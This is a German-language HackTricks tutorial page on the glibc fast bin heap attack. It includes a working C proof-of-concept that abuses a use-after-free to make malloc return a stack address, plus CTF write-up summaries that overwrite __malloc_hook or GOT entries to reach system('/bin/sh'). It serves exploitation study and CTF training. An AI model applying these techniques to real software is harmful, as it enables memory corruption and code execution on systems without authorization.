Fast Bin Attack

Reading time: 9 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Für weitere Informationen darüber, was ein Fast Bin ist, siehe diese Seite:

Bins & Memory Allocations

Da der Fast Bin eine einfach verkettete Liste ist, gibt es viel weniger Schutzmaßnahmen als in anderen Bins, und es reicht aus, eine Adresse in einem freigegebenen Fast Bin Chunk zu ändern, um später einen Chunk an einer beliebigen Speicheradresse zuzuweisen.

Zusammenfassend:

c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Sie finden ein vollständiges Beispiel in einem sehr gut erklärten Code von https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

caution

Wenn es möglich ist, den Wert der globalen Variable global_max_fast mit einer großen Zahl zu überschreiben, ermöglicht dies die Erstellung von Fast-Bin-Chunks größerer Größen, was potenziell Fast-Bin-Angriffe in Szenarien ermöglicht, in denen dies zuvor nicht möglich war. Diese Situation ist nützlich im Kontext des large bin attack und unsorted bin attack.

Beispiele

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
  • Es ist möglich, Chunks zuzuweisen, sie freizugeben, ihren Inhalt zu lesen und sie (mit einer Overflow-Sicherheitsanfälligkeit) zu füllen.
  • Chunk konsolidieren für Infoleak: Die Technik besteht im Wesentlichen darin, den Overflow auszunutzen, um eine gefälschte prev_size zu erstellen, sodass ein vorheriger Chunk in einen größeren gelegt wird. Wenn der größere Chunk, der einen anderen Chunk enthält, zugewiesen wird, ist es möglich, seine Daten auszudrucken und eine Adresse zu libc (main_arena+88) zu leaken.
  • Malloc-Hook überschreiben: Dazu und durch Ausnutzung der vorherigen Überlappungssituation war es möglich, 2 Chunks zu haben, die auf denselben Speicher zeigten. Daher war es möglich, beide freizugeben (einen anderen Chunk dazwischen freizugeben, um Schutzmaßnahmen zu vermeiden), sodass derselbe Chunk 2 Mal im Fast Bin vorhanden war. Dann war es möglich, ihn erneut zuzuweisen, die Adresse des nächsten Chunks zu überschreiben, um ein wenig vor __malloc_hook zu zeigen (damit es auf eine Ganzzahl zeigt, die malloc für eine freie Größe hält - ein weiterer Bypass), ihn erneut zuzuweisen und dann einen anderen Chunk zuzuweisen, der eine Adresse zu malloc-Hooks erhält.
    Schließlich wurde ein one gadget dort geschrieben.
  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
  • Es gibt einen Heap-Overflow und Use-after-free sowie Double-Free, da es möglich ist, die Zeiger wiederzuverwenden und erneut freizugeben, wenn ein Chunk freigegeben wird.
  • Libc-Infoleak: Einfach einige Chunks freigeben und sie erhalten einen Zeiger auf einen Teil des Standorts der Hauptarena. Da Sie freigegebene Zeiger wiederverwenden können, lesen Sie einfach diese Adresse.
  • Fast Bin Angriff: Alle Zeiger auf die Zuweisungen werden in einem Array gespeichert, sodass wir ein paar Fast-Bin-Chunks freigeben und im letzten den Zeiger überschreiben können, um ein wenig vor diesem Array von Zeigern zu zeigen. Dann weisen wir ein paar Chunks mit derselben Größe zu und erhalten zuerst den legitimen und dann den gefälschten, der das Array von Zeigern enthält. Wir können jetzt diese Zuweisungszeiger überschreiben, um die GOT-Adresse von free auf system zu zeigen und dann "/bin/sh" in Chunk 1 zu schreiben, um dann free(chunk1) aufzurufen, was stattdessen system("/bin/sh") ausführt.
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
  • Ein weiteres Beispiel für die Ausnutzung eines ein Byte großen Overflows zur Konsolidierung von Chunks im unsortierten Bin und um einen libc-Infoleak zu erhalten und dann einen Fast-Bin-Angriff durchzuführen, um den malloc-Hook mit einer One-Gadget-Adresse zu überschreiben.
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
  • Nach einem Infoleak, der den unsortierten Bin mit einem UAF ausnutzt, um eine libc-Adresse und eine PIE-Adresse zu leaken, verwendete der Exploit dieses CTF einen Fast-Bin-Angriff, um einen Chunk an einem Ort zuzuweisen, an dem die Zeiger auf kontrollierte Chunks lagen, sodass es möglich war, bestimmte Zeiger zu überschreiben, um ein One-Gadget in der GOT zu schreiben.
  • Sie können einen Fast Bin-Angriff finden, der durch einen unsortierten Bin-Angriff ausgenutzt wird:
  • Beachten Sie, dass es üblich ist, vor der Durchführung von Fast-Bin-Angriffen die Freilisten auszunutzen, um libc/Heap-Adressen zu leaken (wenn nötig).
  • Robot Factory. BlackHat MEA CTF 2022
  • Wir können nur Chunks mit einer Größe größer als 0x100 zuweisen.
  • Überschreiben Sie global_max_fast mit einem Unsorted Bin-Angriff (funktioniert 1/16 Mal aufgrund von ASLR, da wir 12 Bits ändern müssen, aber 16 Bits ändern müssen).
  • Fast Bin-Angriff zur Modifikation eines globalen Arrays von Chunks. Dies bietet eine willkürliche Lese-/Schreibprimitive, die es ermöglicht, die GOT zu modifizieren und einige Funktionen auf system zu zeigen.

Unsorted Bin Attack

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks